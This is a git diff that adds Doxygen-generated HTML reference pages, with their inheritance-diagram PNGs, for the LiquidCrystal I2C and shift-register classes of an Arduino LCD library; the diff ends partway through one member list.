+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html new file mode 100644 index 0000000..1a51edb --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html @@ -0,0 +1,599 @@ + + + + +LCD Library: LiquidCrystal_I2C Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_I2C Class Reference
+
+
+ +

#include <LiquidCrystal_I2C.h>

+
+Inheritance diagram for LiquidCrystal_I2C:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + + + + +

+Public Member Functions

virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_I2C (uint8_t lcd_Addr)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t value, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 38 of file LiquidCrystal_I2C.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +

Definition at line 96 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 102 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
+ +

Definition at line 109 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 115 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +

Definition at line 123 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 130 of file LiquidCrystal_I2C.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
) [virtual]
+
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters:
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 144 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 240 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_I2C::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
value,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 167 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters:
+ + +
0,:backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 158 of file LiquidCrystal_I2C.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h
  • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..3f20cd28a855e5c70c44304f733b3ea0a2f49990 GIT binary patch literal 390 zcmeAS@N?(olHy`uVBq!ia0vp^`9K`N!3-o7%x`M}DTx4|5ZC|z{{xvX-h3_XKQsZz z0^5`_IcC)8@6loc?6u_j|vt z)Oo+Mzc>HM#O*VuYo`XjTJ>W|L3ye2sraK<8aQ@+5)@I1>b)j|6 zt-Ate-~THwJ@qv8T=BP$|YIC=Oy{fT&G%8*FV~DM#oY%|JT1Y z?2CSFX)&1<9WDJe)5><@uQ&Sr!K!SI|9h>nZcV!VZu9f@-m(|zdB*u)uRZ06QzT{=YsT#Z1{#B>tDnm{r-UW|>A|ym literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html new file mode 100644 index 0000000..ce67c0e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html @@ -0,0 +1,122 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR Member List
+
+
+This is the complete list of members for LiquidCrystal_SR, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)LiquidCrystal_SR
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR [virtual]
setBacklight(uint8_t mode)LiquidCrystal_SR [virtual]
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal_SR [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html new file mode 100644 index 0000000..8df2b71 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html @@ -0,0 +1,271 @@ + + + + +LCD Library: LiquidCrystal_SR Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_SR Class Reference
+
+
+ +

#include <LiquidCrystal_SR.h>

+
+Inheritance diagram for LiquidCrystal_SR:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + +

+Public Member Functions

 LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t mode)
void setBacklightPin (uint8_t pin, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 94 of file LiquidCrystal_SR.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata,
uint8_t srclock,
uint8_t enable = TWO_WIRE 
)
+
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]optional direct enable pin for the LCD
+
+
+ +

Definition at line 98 of file LiquidCrystal_SR.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 172 of file LiquidCrystal_SR.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR::setBacklight (uint8_t mode) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
mode,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 207 of file LiquidCrystal_SR.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::setBacklightPin (uint8_t pin,
t_backlighPol pol 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Warning:
Currently not supported
+
Parameters:
+ + + +
mode,:backlight mode (HIGH|LOW)
pol,:backlight polarity
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 202 of file LiquidCrystal_SR.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h
  • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.png new file mode 100644 index 0000000000000000000000000000000000000000..04adf583574c8aca992be0cbb3cc8a94df81171d GIT binary patch literal 387 zcmeAS@N?(olHy`uVBq!ia0vp^IY1o1!3-o%GbCsNDTx4|5ZC|z{{xvX-h3_XKQsZz z0^zYjr#{J0y{n*V!XkBIO*}T z?89f?&b=CFuD|-bPR`+7)jhn$M$vYIcoQv8J_ms!`{hZfXc`LU&{f|jMG%YXWPZGoIgF;U^ Zk7h|Q-kJL90WicEJYD@<);T3K0RV%#t6~5E literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html new file mode 100644 index 0000000..16d73a4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html @@ -0,0 +1,122 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR2W Member List
+
+
+This is the complete list of members for LiquidCrystal_SR2W, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR2W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR2W [virtual]
setBacklight(uint8_t mode)LiquidCrystal_SR2W [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html new file mode 100644 index 0000000..9db40e9 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html @@ -0,0 +1,230 @@ + + + + +LCD Library: LiquidCrystal_SR2W Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_SR2W Class Reference
+
+
+ +

#include <LiquidCrystal_SR2W.h>

+
+Inheritance diagram for LiquidCrystal_SR2W:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + +

+Public Member Functions

 LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t mode)
+

Detailed Description

+
+

Definition at line 137 of file LiquidCrystal_SR2W.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata,
uint8_t srclock,
t_backlighPol blpol = POSITIVE 
)
+
+
+

LCD 2 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]Arduino pin for shift register data line.
srclock[in]Arduino pin for shift register clock line.
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +

Definition at line 37 of file LiquidCrystal_SR2W.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR2W::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 90 of file LiquidCrystal_SR2W.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR2W::setBacklight (uint8_t mode) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 117 of file LiquidCrystal_SR2W.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.png new file mode 100644 index 0000000000000000000000000000000000000000..774ed614fb08090bf0c6e5165026acf1454333e8 GIT binary patch literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^bwC`z!3-o{L>vAAQW60^A+G=b{|AY@`C8h4XabN0 z#s>}@VC}pk59D%`1o;Is02P72)l(rx3=E9Ao-U3d6^w7^-V|y!;Ba-Gd-8vMk$g(; zvDBcY+oo?+bvwkkY40@6&{JQ$L>@HSt1jVHN?Ka`{bA>Sm;2q@m5zizX#9V5s{U`A z^!ty`u*>~e{y2CkkC$xehm@MNEC0lRh?GC`*VjB~WS6Ue5&xt=PSI*L%4WCu&|7rh zSMXxhnrpB3ZT`Av-*YzU6Zx$7dxM-Ty2P{B`+ogUeBh4mvn6#UJ-Zaoou1U)_+tV8 zL(hg!hXlgI=J(hc9y=ub^usyUXF)FBwwqajTynb8I9!DE}jk&E6i?-d` zcjxgBgMz~vuQqgje>U&(!)Z?+eE7T5zI*#CO`AQp_wfh6oL+BnIORU~z5cjI)z+1t yHFmtZaQFM&%@eBsMEz;c + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR3W Member List
+
+
+This is the complete list of members for LiquidCrystal_SR3W, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_SR3W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR3W [virtual]
setBacklight(uint8_t value)LiquidCrystal_SR3W [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SR3W [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html new file mode 100644 index 0000000..8354be6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html @@ -0,0 +1,501 @@ + + + + +LCD Library: LiquidCrystal_SR3W Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_SR3W Class Reference
+
+
+ +

#include <LiquidCrystal_SR3W.h>

+
+Inheritance diagram for LiquidCrystal_SR3W:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t value, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 66 of file LiquidCrystal_SR3W.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe 
)
+
+
+

Class constructor. Initializes class variables and defines the IO driving the shift register. The constructor does not initialize the LCD. Default configuration: Shift register LCD QA - 0 DB4 QB - 1 DB5 QC - 2 DB6 QD - 3 DB7 QE - 4 E QF - 5 QG - 6 Rs GND Rw

+
Parameters:
+ + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to the shiftregister data pin.
clk[in]digital IO connected to the shiftregister clock pin.
+
+
+ +

Definition at line 133 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t backlighPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 138 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

Class constructor. Initializes class variables and defines the control lines of the LCD and the shiftregister. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + + + + + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to shiftregister data pin.
clk[in]digital IO connected to shiftregister clock pin.
En[in]LCD En (Enable) pin connected to SR output pin.
Rw[in]LCD Rw (Read/write) pin connected to SR output pin.
Rs[in]LCD Rs (Reg Select) pin connected to SR output pin.
d4[in]LCD data 4 pin map to the SR output pin.
d5[in]LCD data 5 pin map to the SR output pin.
d6[in]LCD data 6 pin map to the SR output pin.
d7[in]LCD data 7 pin map to the SR output pin.
+
+
+ +

Definition at line 145 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlighPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 152 of file LiquidCrystal_SR3W.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 162 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR3W::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
value,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 191 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters:
+ + +
0,:backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 183 of file LiquidCrystal_SR3W.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.png new file mode 100644 index 0000000000000000000000000000000000000000..2d13cf718e3885b492dd215da5be2b7988a87a6f GIT binary patch literal 413 zcmeAS@N?(olHy`uVBq!ia0vp^bwC`z!3-o{L>vAAQW60^A+G=b{|AY@`C8h4XabN0 z#s>}@VC}pk59D%`1o;Is02P72)l(rx3=E7qo-U3d6^w7^z7;#9z|ppJ?&H7lMfOiF zpA9{pyQRufG;bll!i)QxmUu=&&+8ZGol`NM(#Sx>#^ zKmTHTuI54GervnXQ%kPgWPR7O-gN5xZV=J)|MMw!xrzskaALop|H>c@_JeuS@{8ivzELXZkUMX4w|cJ1$=OGuJ(?n?ww?aA z@rOa-@fG@eUz~q;uh_!omD=~KhTYrWXxi9B-~Y|~{BQ15`Ev#@t6!_n-hQm#s`9&r x#p?^Td%vA + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR_LCD3 Member List
+
+
+This is the complete list of members for LiquidCrystal_SR_LCD3, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
